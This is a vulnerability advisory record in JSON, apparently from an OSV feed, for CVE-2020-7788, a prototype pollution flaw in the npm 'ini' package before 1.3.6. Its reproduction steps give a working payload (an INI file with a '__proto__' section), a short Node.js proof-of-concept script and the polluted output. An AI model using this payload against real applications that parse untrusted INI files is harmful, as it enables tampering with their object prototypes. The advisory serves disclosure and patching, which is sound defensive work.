{"id":"GHSA-qqgx-2p2h-9c37","revision":"e2e15ae2a20843e4980c7c076d9fc443","records":[{"revision":"e2e15ae2a20843e4980c7c076d9fc443","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qqgx-2p2h-9c37","aliases":["CVE-2020-7788","SNYK-JS-INI-1048974"],"title":"ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse","description":"### Overview\nThe `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.\n\nIf an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require('fs')\nvar ini = require('ini')\n\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n> node poc.js\n{}\n{ polluted: 'polluted' }\n{ polluted: 'polluted' }\npolluted\n```","state":0,"publishedAt":"2020-12-10T16:53:45+00:00","modifiedAt":"2026-09-10T03:49:13.8360889+00:00","affected":[{"ecosystem":"npm","name":"ini","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.3.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2020-7788","https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1","https://github.com/npm/ini","https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html","https://snyk.io/vuln/SNYK-JS-INI-1048974","https://www.npmjs.com/advisories/1589"],"sourceUrl":"https://github.com/advisories/GHSA-qqgx-2p2h-9c37","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qqgx-2p2h-9c37","identifiers":["GHSA-qqgx-2p2h-9c37","CVE-2020-7788","SNYK-JS-INI-1048974"]},"retained":false,"historicalAffected":[]}],"coverage":[]}